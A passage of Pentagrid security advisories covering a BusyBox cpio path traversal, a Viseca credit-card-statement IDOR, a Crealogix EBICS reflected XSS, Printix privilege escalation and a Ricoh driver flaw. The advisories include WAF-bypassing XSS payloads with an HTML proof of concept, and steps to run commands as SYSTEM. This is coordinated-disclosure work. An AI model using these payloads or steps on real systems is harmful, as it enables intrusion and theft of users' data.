/tmp/testcase/testfile           <-- extracted rel. file
/tmp/testcase/a
/tmp/testcase/a/b                <-- working directory
/tmp/testcase/a/b/etc
/tmp/testcase/a/b/etc/hostname   <-- extracted abs. file
/tmp/testcase/a/b/archive.cpio   <-- archive to extract

According to the output above, the testfile is written outside of the working directory.

Precondition

An untrusted archive is extracted with the BusyBox cpio tool and the running cpio process has permissions to write files outside the destination directory.

Recommendation

Pentagrid recommends changing the default behaviour and to ignore relative file names with ../ pattern within a cpio archive. To process files with a directory traversal pattern, a command line flag could be introduced like it was done for GNU cpio.

Patches and Workaround

Users can specify on the BusyBox cpio command line which file from the archive should be unpacked, which should be safe as long as no directory traversal is included in that file name argument. If only specific files need to be extracted, this is a secure alternative.

User may also consider using another cpio implementation or may ensure that archive files are trusted.

Peter Kästle implemented a patch for the BusyBox cpio command to filter relative file names. This patch was published via the BusyBox mailing list. However, at the time of updating this advisory, the patch was not merged into the BusyBox code base.

Credits

The vulnerability has been found by Tobias Ospelt and Martin Schobert of Pentagrid.

Credit card statement disclosure vulnerability in Viseca's eXpense portal

Pentagrid AG — Mon, 20 Mar 2023 03:23:42 GMT

As a security company we try to use services that are solid, trustworthy and secure and therefore we do our due diligence if we find the time for it. Checking products for IT security issues in a non-intrusive way is a part of that. You can call it supply chain security if you like.

To avoid scanning credit card paper statements sent by snail mail every month, Pentagrid was looking for an option to receive them electronically. For our bank though, the only option was to sign up for Viseca's eXpense platform, which allows access to business credit card statements in PDF format. However, uppon login into the portal for the first time, our experienced analyst's gut feeling told us something is not right. For example, the second-factor authentication when doing a login on the eXpense platform was simply typing the last four digits of our telephone number. And that's definitely not state-of-the-art security.

We decided to have a quick look. Our experience in web application security analysis told us that the download function for PDF statements was a good candidate to have a look at. We've seen this kind of functionality fail in many applications before. You may guess, what happened.

Approach

Before signing up to Viseca's eXpense platform, we noticed that Viseca provides a demo account for a login into the eXpense platform publicly on their website.

When using the "demo" login credentials for Viseca's eXpense portal, Pentagrid was able to access the platform and then download Pentagrid's own credit card statement.

After we found this security issue, we immediately started our Coordinated Disclosure process and tried to contact Viseca's Chief Information Security Office (CISO). We sent the first draft of vulnerability details on the following day (see timeline below).

Later on we realised that logging into demo account wasn't even necessary, knowing the URL was sufficient. The identified security issue was therefore missing authentication as well as a standard Indirect Object Reference (IDOR) authorisation vulnerability.

We did not conduct any further security analysis to find other issues, but it was recommended to Viseca to conduct a full security analysis on the service.

Impact

The vulnerability allows downloading credit card statements of business customers of Viseca. As Viseca is handling credit cards for most Swiss banks (except very large banks such as UBS), it is assumed many if not most businesses with a credit card in Switzerland would have been susceptible.

A credit card statement includes statements for one or more credit cards. The credit card statement includes the company address, the card account number, the card owner's names, the masked form of the credit card numbers (in the form 1111 11XX XXXX 1111), the card limits, type of card and payments made with the cards in the statement date range. Payments often allow to map the card owner to a geolocation at a certain point in time and it can reveal business relationships and preferred places for meeting customers outside of office buildings.

Timeline

2022-11-10: Vulnerability noticed. Initial contact request via LinkedIn.
2022-11-11: Initial contact with Viseca including telephone call. Initial response by Viseca. Technical details and disclosure deadline (2023-02-09) communicated.
2022-11-15: Further communication, clarifying that the demo account is not necessary and that the visecaStatementId parameter is mainly a timestamp.
2022-11-17: Viseca communicates that countermeasures are planned: Removing the demo account, fix/patch the vulnerabilities ("this week"), monitoring and investigation, check why internal security checks of supplier didn't catch it earlier.
2022-11-23: Findings retested by Pentagrid, unauthenticated download of Pentagrid's statement is not possible anymore.
2022-11-25: Viseca informs that the issue was fixed and a security analysis is currently taking place.
2022-12-19: Viseca provides feedback on an earlier version of this advisory.
2023-03-20: Publication of advisory.
2023-03-20: Republik published a background story: Zehntausende Schweizer Kreditkarten-Abrechnungen offen zugänglich im Internet.

Affected Components

Affected was the Viseca eXpense solution web application, which is a third-party product hosted on the third-party domain https://www.dcalonline.com/. This website indicates in it's footer that "Fiserv, Inc" is the owner. The endpoint for the PDF download responds with some interesting HTTP headers that seem to indicate that an Oracle system is used as the underlying technology:

X-ORACLE-DMS-RID: 0
X-ORACLE-DMS-ECID: dbfb9a1e-5dae-4473-9779-a007e900c203-0001e167

It is unknown to Pentagrid if other instances of the same software on the Internet are present or if only Viseca and Swiss Business Credit cards are affected.

Technical Details

The security issue is a standard Indirect Object Reference (IDOR) authorisation vulnerability paired with a missing authentication check (there is no need to send an HTTP cookie or similar). It could be exploited by knowing the correct URL. The following URL was taken from the authenticated area of the demo account:

https://www.dcalonline.com/new360/EStatements?method=displayVisecaStatement&cardId=763454&visecaStatementId=20200410063027000681

Although this particular URL is referenced in the application for the demo account, it will not return a PDF. This is probably the case because there is no PDF present for the demo account or because the statement is too old (year 2020).

The cardId parameter in the URL has to be any valid cardId, but it doesn't matter which cardId. There seems to be no correlation on the server-side between cardId and visecaStatementId and therefore using the demo account's cardId of 763454 is sufficient to download other user's credit card statement.

By providing any valid visecaStatementId it seemed possible to download arbitrary credit card statements from other customers of Viseca. We used one of Pentagrid's visecaStatementId to download Pentagrid's credit card statement with the demo account. It was possible to download Pentagrid's credit card statement in PDF format without any authentication.

The only thing left to proof was that the visecaStatementId does not include sufficient entropy and is therefore guessable and can be brute-forced. If we look at the visecaStatementId it can be noticed that it starts with a time stamp of year, month, day. So we had a proper look at Pentagrid's credit card statement visecaStatementId, which was 20221022093536019983. After a while we had the idea to extract meta data of the PDF statement:

% exiftool -a -u -g1 statement.pdf
[...]
Producer                        : Compart MFFPDF I/O Filter 2019-07-30 00:56:08
Creator                         : Compart Docponent API (201908-STABLE)
Create Date                     : 2022:10:22 09:35:36+01:00
Modify Date                     : 2022:10:22 09:35:36+01:00
[...]

By writing the visecaStatementId and the create date of the PDF above each other and inserting spaces shows that the visecaStatementId has very little entropy as it includes a full timestamp including hour, minutes and seconds:

2022 10 22 09 35 36 019983 (visecaStatementId)
2022:10:22 09:35:36+01:00 (Create Date)

The timezone (+01) seems to be just a coincidence that it matches with the number in the visecaStatementId. The last six digits for Pentagrid in the last few monthly statements were:

2021-10: 025323
2021-11: 021534
2021-12: 020879
2022-01: 020786
2022-02: 021019
2022-03: 020725
2022-04: 025125
2022-05: 020649
2022-06: 020541
2022-07: 024985
2022-08: 019883
2022-09: 025733
2022-10: 019983

These digits do not include a lot of entropy and seem to vary between the numbers 19983 and 25733. These numbers are assumed to be incrementing IDs per month over all statements of all customers.

Therefore, Pentagrid concludes that the visecaStatementId is just a timestamp of the creation date of the PDF plus six digits. As credit card statements are likely to be created in sequence as a massive batch job, the entropy of the visecaStatementId is even lower than expected.

Unfortunately, this endpoint on the webserver did not support HTTP HEAD, Range, If-Modified-Since or other HTTP request techniques that would have allowed Pentagrid to get metadata information about a PDF file (e.g. their byte length in the Content-Length header) or a side-channel (e.g. response time difference) without receiving the full PDF. The full PDF includes sensitive information of third-parties and therefore we did not want to access this data. This prevented us from brute-forcing visecaStatementId to prove our point: It is assumed that when the last six digits would be incremented or decremented, PDF credit card statements of other companies could be downloaded.

Precondition

There were no special preconditions for exploitation, it was feasible for every user on the Internet. An attacker had to know timestamps when credit card statements were created, for example by having legitimate access to statements or by guessing or brute-forcing.

Recommendation

During the disclosure process Pentagrid recommended Viseca to:

Take the expense portal offline immediately until the issue is resolved or prevent the portal from acquiring Viseca credit card statements.
Contact the third-party who is running the affected service and require an emergency change to fix the issue.
Start an investigation if the issue was exploited in the past.
Check the regulatory obligations that might apply in case of such an issue and take appropriate actions.
Check if Web Application Firewall (WAF) rules could be put in place that prevent or mitigate the issue from arising in the future.
Conduct security measures such as contracting a third-party to do a security analysis of the issue including code review to identify potential further issues.

Pentagrid recommended Fiserv to:

Take the expense portal offline immediately until the issue is resolved.
Do a root cause analysis of the security issue and fix it (e.g. check the role concept, authentication and authorisation model of the website).
Conduct security measures such as contracting a third-party to do a security analysis of the issue including code review to identify potential further issues.
Start an investigation if the issue was exploited in the past.
Check the regulatory obligations that might apply in case of such an issue and take appropriate actions.

Pentagrid recommends business customers to:

Take the usual precautions regarding credit card fraud.
Check the regulatory obligations that might apply in case of such an issue and take appropriate actions.

Resolution

According to Viseca, the following actions took place:

Contacted the third-party who is running the affected service and requested an emergency change to resolve the issue.
Analyzed log files for any signs the vulnerability had been exploited and found no indication of unauthorized access or disclosure of customer information.
Checked wether regulatory notifications are required and, if so, take required actions.
Checked if Web Application Firewall (WAF) rules could be put in place to prevent or mitigate the similar issues from arising in the future.
Conducted security measures such as contracting a third-party to do a security analysis of the issue including code review to identify potential further issues.

According to Viseca, the owner took the following actions:

Conducted a root cause analysis of the security issue and resolved it.
Conducted security measures such as contracting a third-party to do a security analysis of the issue including code review to identify potential further issues.

Credits

The vulnerability has been found by Pentagrid.

Reflected cross-site scripting vulnerability in Crealogix EBICS implementation (CVE-2022-3442)

Pentagrid AG — Mon, 10 Oct 2022 09:00:00 GMT

During a penetration test of an Electronic Banking Internet Communication Standard (EBICS) environment, Pentagrid observed a vulnerability in the EBICS banking implementation developed by CREALOGIX AG and used by many banks. EBICS is a common standard in Germany, France and Switzerland for sending payment information from customers to banks and between banks.

Impact

This reflected Cross-Site Scripting (XSS) vulnerability has an unknown impact, as the different EBICS client software were not in scope of the analysis and the impact depends on EBICS server deployment details as well.

Cross-Site-Scripting allows an attacker to execute JavaScript in the attacked origin, allowing the attacker to act like the exploited user of the website.

The issues is assumed to have a low to medium impact in most common deployment scenarios as the used domain for EBICS in the observed deployments was a subdomain of the main domain. This subdomain is usually not further used in the web/browser context as a web application.

Additionally, the EBICS protocol does not rely on common browser security aspects:

XML signatures are used for authentication instead of cookies.
HTTP security headers (e.g. HSTS) are ignored in at least one tested EBICS client.

The EBICS client is usually not implemented as a website but as a standalone fat client software. The impact on EBICS client software would have to be analysed for each EBICS client individually. Moreover, it is unknown to Pentagrid if EBICS client software commonly support Inter Process Communication (IPC) mechanisms (e.g. URL handlers) that would allow an attacker to trigger the XSS in the EBICS client. Furthermore, the attacker would need to be able to use the XSS for exploitation in the EBICS client, which is again an individual aspect of each EBICS client.

Therefore, Pentagrid concludes there are several reasons why the impact might be elevated to a higher level by an attacker:

If the deployment is not on a separte EBICS subdomain, the domain might be in use for other web applications and therefore that web application origin would be affected by the XSS.
If the issue is combined with other vulnerabilities such as other web applications on other subdomains setting sensitive cookies on the parent domain without the httpOnly flag.
If an EBICS client could be exploited with the XSS, e.g. via IPC mechanisms or if the EBICS client is implemented as a web application. With the move to more browser-based solutions for accounting, it is getting more likely that EBICS client support is built into accounting web applications acting as EBICS clients.

The exact impact would need to be investigated on a per EBICS server and EBICS client deployment basis.

Timeline

2022-08-12: Initial contact of CIO of Crealogix via E-mail.
2022-08-12: Crealogix replied that the EBICS software team was informed and additional organisational details were shared.
2022-08-15: Pentagrid communicates details of vulnerability. Crealogix replied that the analysis started.
2022-08-24: Pentagrid informs Crealogix of latest disclosure date 2022-11-21. Crealogix replies they are already working on a fix.
2022-09-28: Pentagrid requests status update. Crealogix replies the issue was fixed, a patched version released and installed for customers where Crealogix is responsible for operation. Pentagrid verifies fix and that it was deployed for one particular installation.
2022-10-06: Pentagrid asks for which versions were fixed and if an earlier release than the 90 days deadline is possible.
2022-10-07: Crealogix informs that a fix is available for version 7.1 and agrees to early release.
2022-10-10: Public release of advisory. CVE-2022-3442 was assigned to this issue.
2024-03-18: Added link to OWASP Core Rule Set ticket.

Affected Components

Affected of the XSS issue is the ebics.aspx server-side script of the CREALOGIX EBICS server solution, usually hosted on /ebics-server/ebics.aspx.

Not affected are other software vendors such as those using server-sides usually hosted on /ebicsweb/ebicsweb.

Technical Details

Several tested instances of EBICS servers were found to deploy a Web Application Firewall (WAF) blocking certain attack payloads. All the used payloads in this advisory are payloads that were able to bypass the encountered WAFs. If no WAF is present, even simpler payloads can be used.

The following EBICS request includes an invalid EBICS version that is a XSS payload executing the print command in JavaScript:

Source: EBICS HTTPS request to the vulnerable EBICS server with some customer details masked in the example

POST /ebics-server/ebics.aspx HTTP/1.1
Content-Type: text/xml; charset=UTF-8
Host: www.example.org
Content-Length: 585
Connection: close

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<ebicsUnsecuredRequest xmlns="urn:org:ebics:H004" Revision="1" Version="&lt;a autofocus onfocus=print(1) href&gt;&lt;/a&gt;;">
    <header authenticate="true">
        <static>
            <HostID>XXX</HostID>
            <PartnerID>XXX</PartnerID>
            <UserID>XXX</UserID>
            <Product InstituteID="XXX" Language="de">XXX</Product>
            <OrderDetails>
                <OrderType>XXX</OrderType>
                <OrderAttribute>XXX</OrderAttribute>
            </OrderDetails>
            <SecurityMedium>0000</SecurityMedium>
        </static>
        <mutable/>
    </header>
    <body>
        <DataTransfer>
            <OrderData>XXX</OrderData>
        </DataTransfer>
    </body>
</ebicsUnsecuredRequest>

The server will respond with the following error message with a Content-Type of text/html, making it exploitable in browsers:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Sat, 13 Aug 2022 13:12:03 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 309

System.Exception: Unknown ebicsVersion '<a autofocus onfocus=print(1) href></a>'.
   at EBICSServer.EbicsNamespaces.GetEbicsXmlns(String ebicsVersion)
   at EBICSServer.EbicResponse..ctor(String ebicsVersion, String orderType, String partnerId)
   at EBICSServer.Ebics.Page_Load(Object sender, EventArgs e)

To achieve arbitrary JavaScript code execution, the following payload can be used instead:

<ebicsUnsecuredRequest xmlns="urn:org:ebics:H004" Revision="1" Version="&lt;a autofocus onfocus='a=&quot;e&quot;;a+=&quot;val(decodeURIComponent(location.hash.slice(1)))&quot;;b=&quot;cons&quot;;b+=&quot;tructor&quot;;true[b][b](a)()' href&gt;">

The server will respond with the following HTTP body:

 System.Exception: Unknown ebicsVersion '<a autofocus onfocus='a="e";a+="val(decodeURIComponent(location.hash.slice(1)))";b="cons";b+="tructor";true[b][b](a)()' href>'.
at EBICSServer.EbicsNamespaces.GetEbicsXmlns(String ebicsVersion)
at EBICSServer.EbicResponse..ctor(String ebicsVersion, String orderType, String partnerId)
at EBICSServer.Ebics.Page_Load(Object sender, EventArgs e)

In this example the attacker's payload can be put in the URLs hash part and be used to load arbitrary JavaScript.

To exploit this issue in regular browsers, an attacker can host the following HTML on their website:

<html>
  <!-- PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.example.org/ebics-server/ebics.aspx#alert(123)" method="POST" enctype="text/plain">
      <input type="hidden" name="&lt;&#63;xml&#32;version" value="&quot;1&#46;0&quot;&#32;encoding&#61;&quot;utf&#45;8&quot;&#32;standalone&#61;&quot;no&quot;&#63;&gt;&#13;&#10;&lt;ebicsUnsecuredRequest&#32;xmlns&#61;&quot;urn&#58;org&#58;ebics&#58;H004&quot;&#32;Revision&#61;&quot;1&quot;&#32;Version&#61;&quot;&amp;lt&#59;a&#32;autofocus&#32;onfocus&#61;&apos;a&#61;&amp;quot&#59;e&amp;quot&#59;&#59;a&#43;&#61;&amp;quot&#59;val&#40;decodeURIComponent&#40;location&#46;hash&#46;slice&#40;1&#41;&#41;&#41;&amp;quot&#59;&#59;b&#61;&amp;quot&#59;cons&amp;quot&#59;&#59;b&#43;&#61;&amp;quot&#59;tructor&amp;quot&#59;&#59;true&#91;b&#93;&#91;b&#93;&#40;a&#41;&#40;&#41;&apos;&#32;href&amp;gt&#59;&quot;&gt;&lt;header&#32;authenticate&#61;&quot;true&quot;&gt;&lt;static&gt;&lt;HostID&gt;XXX&lt;&#47;HostID&gt;&lt;PartnerID&gt;XXX&lt;&#47;PartnerID&gt;&lt;UserID&gt;XXX&lt;&#47;UserID&gt;&lt;Product&#32;InstituteID&#61;&quot;XXX&quot;&#32;Language&#61;&quot;de&quot;&gt;XXX&lt;&#47;Product&gt;&lt;OrderDetails&gt;&lt;OrderType&gt;XXX&lt;&#47;OrderType&gt;&lt;OrderAttribute&gt;XXX&lt;&#47;OrderAttribute&gt;&lt;&#47;OrderDetails&gt;&lt;SecurityMedium&gt;0000&lt;&#47;SecurityMedium&gt;&lt;&#47;static&gt;&lt;mutable&#47;&gt;&lt;&#47;header&gt;&lt;body&gt;&lt;DataTransfer&gt;&lt;OrderData&gt;XXX&lt;&#47;OrderData&gt;&lt;&#47;DataTransfer&gt;&lt;&#47;body&gt;&lt;&#47;ebicsUnsecuredRequest&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

If and how this could be exploited in EBICS clients was not analysed (see impact discussion).

Precondition

There are no special preconditions for exploitation except for the usual reflected XSS preconditions, mostly requiring user interaction. The preconditions vary greatly on the exploited scenario (see impact discussion).

Recommendation

Pentagrid recommends Crealogix to:

Change the responded Content-Type to text/plain. If this is feasible has to be evaluated and tested with different EBICS clients.
It is recommended to prevent the server from replying with detailed error messages that are not part of the EBICS standard.
It is recommended to use the correct context escaping depending on the context. If text/html is used in the response, the user-supplied values could be HTML entity encoded.
Further investigate if the EBICS server should be redesigned to support browser-based EBICS clients. This would require further security measures such as adding HTTP security headers (HSTS, CSP, etc.).

Pentagrid recommends affected customers to:

Update to version 7.1 and/or apply patches that were provided by Crealogix.
Check the version in the request in the WAF and reject invalid versions in the WAF already. If you are using the OWASP Core Rule Set (CRS), there is an open ticket to adjust WAF rules to detect this attack.
Prevent error messages being returned from the EBICS server to the client side by using a WAF rule.

Credits

The vulnerability has been found by Tobias Ospelt (Pentagrid).

We would like to thank Crealogix for the professional handling of the security issue.

Vulnerabilities in Printix Cloud Print Management

Pentagrid AG — Thu, 18 Aug 2022 07:42:00 GMT

During a penetation test of a cloud environment, Pentagrid observed vulnerabilities in the cloud printing solution developed by Printix.net ApS, a Kofax subsidiary.

Impact

These vulnerabilities lead to an elevation of privileges to SYSTEM and access to other user's printed documents.

Timeline

2022-05-05: Initial contact of Printix team via E-mail to info@printix.net.
2022-05-12: Sent reminder via Twitter to @printixnet and @Kofax.
2022-05-19: Notified a founder and the CEO via E-mail.
2022-05-20: Printix replied that the info@printix.net is not monitored for security and that the E-mail was initially deleted.
2022-05-20: Pentagrid recommends following RFC 9116. Out of courtesy the 14 days feedback limit is extended to 24 May EOD to provide feedback, which steps are planned and when this will happen.
2022-05-22: Printix replies they plan to solve the problems as soon as possible and mentions a start in the week of 2022-05-30.
2022-05-23: Pentagrid communicates disclosure deadline 2022-08-03 and asks for a detailed plan (fixes, release of updates, estimates on how many customers have a patched state on 2022-08-03).
2022-05-31: Printix replies with a fix prioritization, which changes are planned, and that a rollout is planned for July.
2022-08-01: Pentagrid asked for a status.
2022-08-02: Printix confirmed that they adressed issues according to their plan with release 1.3.1169, which is in testing stage and that Printix needs 2-3 weeks for public deployment.
2022-08-11: Pentagrid postponed publication until 2022-08-18.
2022-08-18: CVE-2022-35167 was assigned to one of the issues.
2022-08-18: Advisory published.

Affected Components

These vulnerabilities have been observed in the Printix client version 1.3.1149.0 for Windows and the corresponding cloud portal at the time of discovery.

Vulnerabilities

1. Printix registry keys not read/write protected (CVE-2022-35167)

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, 7.8 High

After installing Printix on Windows, Registry keys belonging to each user are accessible to all other users on the system and can be modified.

Impact

An attacker is able to read tokens of other users and can change program parameters, such as dependent libraries, external binary dependencies or the uninstallation script that gets executed when the application is removed from the system. Ultimately, tampering with the configuration of Printix in the registry can lead to an elevation of privileges.

Technical Details

The Printix software is running as a background service and a client application, which, on Windows systems, is reading its configuration values from registry keys at HKLM/SOFTWARE/printix.net/Printix Client/CurrentVersion. Every user has their own subkey within this registry key.

Every regular user can read the Printix registry keys of other users that were logged in to the same computer at least once. One of the entries within the key is an access token. Other global entries within the printix.net registry key include the paths of certain third-party libraries and binaries the application relies on. An attacker could overwrite the paths and let them point to their own, malicious libraries, which consequently might be loaded by the application.

1.1 Weak registry key permissions enable privilege escalation

A clean installation of the Printix client was done to analyse the default configuration as shipped by the developers. This revealed that a privilege escalation is possible by changing the registry keys ProgramDir and DataDir.

After installation they initially both point to a write-protected location within the Program Files directory. As the keys are write-accessible by regular users, it is possible to change them, for example to C:\temp. After doing this, and restarting the Printix service, new configuration files are created by the service in that directory. One of the new files is called PrintixServiceTask.xml, which is a Microsoft Task definition, describing the Printix service running on the machine. After changing the paths to C:\temp the file is also read from this location, and as the new directory is not write-protected, the file can also be modified by any regular user.

One part of the XML file is the command that will be run by Windows to start the service as shown in the following listing.

Source: C:\temp\PrintixServiceTask.xml

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
    <RegistrationInfo>
        <Date>2017-09-21T13:43:01</Date>
        <Author>Printix</Author>
        <URI>\Printix Service</URI>
    </RegistrationInfo>
    <Triggers>
        <EventTrigger>
        <Enabled>true</Enabled>
        <Subscription>&lt;QueryList&gt;&lt;Query Id="0" Path="Application"&gt;&lt;Select Path="Application"&gt;*[System[Provider[@Name='PrintixClient'] and EventID=249]]&lt;/Select&gt;&lt;/Query&gt;&lt;/QueryList&gt;</Subscription>
        </EventTrigger>
    </Triggers>
    <Principals>
        <Principal id="Author">
            <UserId>S-1-5-18</UserId>
            <RunLevel>LeastPrivilege</RunLevel>
        </Principal>
    </Principals>
    <Settings>
        <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
        <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
        <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
        <AllowHardTerminate>true</AllowHardTerminate>
        <StartWhenAvailable>false</StartWhenAvailable>
        <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
        <IdleSettings>
            <StopOnIdleEnd>true</StopOnIdleEnd>
            <RestartOnIdle>false</RestartOnIdle>
        </IdleSettings>
        <AllowStartOnDemand>true</AllowStartOnDemand>
        <Enabled>true</Enabled>
        <Hidden>false</Hidden>
        <RunOnlyIfIdle>false</RunOnlyIfIdle>

<DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
        <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
        <WakeToRun>false</WakeToRun>
        <ExecutionTimeLimit>PT1H</ExecutionTimeLimit>
        <Priority>1</Priority>
    </Settings>
    <Actions Context="Author">
        <Exec>
            <Command>cmd</Command>
            <Arguments>/c "netsh start PrintixService"</Arguments>
        </Exec>
    </Actions>
</Task>

The command will be executed by the Printix Windows service, which runs as SYSTEM user. For testing purposes, the command section of the XML file was changed to only write the name of the user running the command itself into a text file located at C:\temp\output.txt.

<Exec>
    <Command>c:\windows\system32\cmd</Command>
    <Arguments>/c "whoami > c:\temp\output.txt"</Arguments>
</Exec>

After restarting the Printix service another time, and stopping it afterwards to make sure any open file handles are closed and flushed, the new file appears as expected, with the following contents.

Source: C:\temp\output.txt

nt authority\system

This confirmes that the command listed in the XML file is executed as SYSTEM user. As a result, a regular user is able to run commands with higher then intended privileges. The only problem an attacker has, is that a regular user is not able to restart a service at will. However, if this attack is performed on a physical machine, it would be possible to achieve the service restart by restarting Windows or power cycling the whole machine.

Precondition

An attacker has access to the system, modifies the mentioned registry keys and is able to inject their own malicious binaries, that are written in a way that the anti-malware solution in use is not able to detect them.

2. Opened ports by Printix

CVSS:3.1, 0.0 Information

The default installation of Printix on Windows configures the Windows Firewall to open multiple ports, but does not limit the rules to a specific application.

Impact

An attacker could utilise the whitelisted outbound and inbound ports for establishing new connections to servers under their control and potentially use it for data exfiltration.

Technical details

The printix.net application is installed in C:\Program Files\printix.net\Printix Client and contains a batch script called open_firewall.cmd that configures the Windows Firewall to allow communication to and from the Printix Client to services outside the local system.

Source: C:\Program Files\printix.net\Printix Client\open_firewall.cmd

@ECHO *************************************************
@ECHO * Delete Printix Client inbound ports
@ECHO *************************************************
netsh advfirewall firewall delete rule name="Printix SNMP, UDP"
netsh advfirewall firewall delete rule name="Printix PDP, UDP"
netsh advfirewall firewall delete rule name="Printix Raw Print , TCP"
netsh advfirewall firewall delete rule name="Printix Jobforward, TCP"
netsh advfirewall firewall delete rule name="Printix Redirector, TCP"
netsh advfirewall firewall delete rule name="Printix Task Manager, TCP"
netsh advfirewall firewall delete rule name="Printix UI Communication, TCP"
netsh advfirewall firewall delete rule name="Printix IPP Print, TCP"

@ECHO *************************************************
@ECHO * Adding Printix Client inbound ports
@ECHO *************************************************
netsh advfirewall firewall add rule name="Printix PDP, UDP" protocol=UDP dir=in localport=21337 action=allow
netsh advfirewall firewall add rule name="Printix Jobforward, TCP" protocol=TCP dir=in localport=21335 action=allow
netsh advfirewall firewall add rule name="Printix Redirector, TCP" protocol=TCP dir=in localport=21336 action=allow
netsh advfirewall firewall add rule name="Printix UI Communication, TCP" protocol=TCP dir=in localport=21338 action=allow
netsh advfirewall firewall add rule name="Printix IPP Print, TCP" protocol=TCP dir=in localport=21339 action=allow

@ECHO **************************************************
@ECHO * Adding Printix Client outbound ports
@ECHO **************************************************
netsh advfirewall firewall add rule name="Printix SNMP, UDP" protocol=UDP dir=out localport=161 action=allow
netsh advfirewall firewall add rule name="Printix PDP, UDP" protocol=UDP dir=out localport=21337 action=allow
netsh advfirewall firewall add rule name="Printix Raw Print , TCP" protocol=TCP dir=out localport=9100 action=allow
netsh advfirewall firewall add rule name="Printix Jobforward, TCP" protocol=TCP dir=out localport=21335 action=allow
netsh advfirewall firewall add rule name="Printix Redirector, TCP" protocol=TCP dir=out localport=21336 action=allow
netsh advfirewall firewall add rule name="Printix UI Communication, TCP" protocol=TCP dir=out localport=21338 action=allow
netsh advfirewall firewall add rule name="Printix IPP Print, TCP" protocol=TCP dir=out localport=21339 action=allow

The script seems to have been run during the standard installation on the tested device as the configured rules can also be seen when checking Windows Firewall settings.

Precondition

An attacker has access to the system and is able to run an application to communicate through one of the opened ports without being detected by an installed Antivirus application.

3. Incomplete JWT validation allows receiving printed documents of other users

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N, 6.5 Medium

The login mechanism to Printix via the Printix Client is not verifying the signature of a JSON Web Token (JWT) that is used to transmit data to the server. That enables tampering of the data that is sent, such as which user is being logged in. Printix uses user-specified data to construct a Windows Registry path for storing printing-related configuration.

Impact

A manipulated user information in the JWT leads to a manipulated Windows registry path. An attacker can use this vulnerability to modify printer configuration and to receive printed documents of other users.

Technical details

Printix is a cloud printing solution that was installed on endpoints in a tested environment. Users could sign into Printix using their Microsoft accounts by clicking onto the system tray icon of Printix and then selecting the Sign in button.

When doing that, a browser window is opened for the URL sign-in.printix.net. Several URL parameters are added as well, with one of them being a JSON Web Token as shown below.

Source: Example login URL

https://auth.printix.net/oauth/authorize/tenant/<tenant_id>?response_type=code&client_id=PrintixClient&client_secret=<secret>&state=<username>&redirect_uri=http

Source: Decoded JWT Content

{
 "tenantID": "<tenant_id>",
 "state": "user2",
 "prompt": "login",
 "client_id": "PrintixClient",
 "SPRING_SECURITY_SAVED_REQUEST": {
     "requestUrl": "https:\/\/auth.printix.net:443\/oauth\/authorize\/tenant\/<tenant_id>?response_type=code&client_id=PrintixClient&client_secret=1234&state=user2&redirect_uri=http:\/\/localhost:21339\/oauth\/authorize&prompt=login",
     "queryString": "response_type=code&client_id=PrintixClient&client_secret=1234&state=user2&redirect_uri=http:\/\/localhost:21339\/oauth\/authorize&prompt=login" }
 }

Usually, all these attributes of the payload cannot be modified, as servers also check the signature that is part of the JWT. In the case of Printix however, this signature is not verified at all. The signature can be replaced with any text and the server will still accept the token as valid.

When changing the state attribute to the value of another user (user B), and replacing it with the original JWT in the URL-Parameter, but afterwards signing in to Printix with the original Microsoft credentials (user A), the sign-in is confirmed by Printix.

The Printix Service running on the system will, after signing in, replace the registry entries of the user B with the username of user A. The consequence is that whenever user B prints a document, it will appear in the Printix online queue of user A.

Further investigation with tampering of the JWT revealed that this also enables an attacker to write new registry keys with SYSTEM privileges to different places. When passing a path traversal, e.g. ..\\..\\foobar (escaped back-slashed), in the state field of the JWT, the Printix service will create registry keys at that location.

Precondition

An attacker has access to the system and the targeted user also has an account on the same machine and prints a document.

Recommendation

Pentagrid recommends installing security fixes once updates are provided by Printix. According to Printix, issues will be fixed in release 1.3.1169. However, this version has not been tested again.

Credits

These vulnerabilities have been found by Ole Diederich (Pentagrid).

Local Privilege Escalation in many Ricoh Printer Drivers for Windows (CVE-2019-19363)

Pentagrid AG — Wed, 22 Jan 2020 05:42:00 GMT

Pentagrid has been asked to manage the coordinated disclosure process for a vulnerability that affects several Windows printer drivers for a wide range of printers by the printer manufacture Ricoh. Due to improperly set file permissions of file system entries that are installed when a printer is added to a Windows system, any local user is able to overwrite program library files (DLLs) with own code.

Impact

The improperly protected library files are loaded by the Windows PrintIsolationHost.exe, which is a privileged process running as SYSTEM. When an attacker overwrites library files that are used in an administrative context, the library code gets executed with administrative privileges as well. Thus, the attacker is able to escalate privileges to SYSTEM.

As installing printers is not disallowed by default on Domain managed Windows computers, this can be used as a universal privilege escalation as long as the vulnerable printer drivers are valid and installed.

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, 8.8 High

Timeline

2019-10-17: Pentagrid has been asked to support the disclosure process, because the source was not successful in reporting this vulnerability to Ricoh.
2019-10-23: Asked @ricoheurope Twitter channel regarding a security contact. No response, yet.
2019-10-29: Successfully established a contact with a Ricoh employee via LinkedIn. Other contact attempts via LinkedIn failed so far.
2019-10-29: Asked @AskRicoh Twitter channel regarding a security contact.
2019-10-31: Received two e-mail addresses as potential security contacts via LinkedIn contact.
2019-11-02: Initial contact with provided two Ricoh e-mail addresses.
2019-11-04: Received PSIRT contact address (psirt@ricoh-usa.com).
2019-11-05: Sent preliminary advisory to PSIRT.
2019-11-05: @AskRicoh responded on Twitter.
2019-11-14: Response from Ricoh PSIRT with a timeline proposal and intended steps.
2019-12-05: CVE-2019-19363 has been assigned.
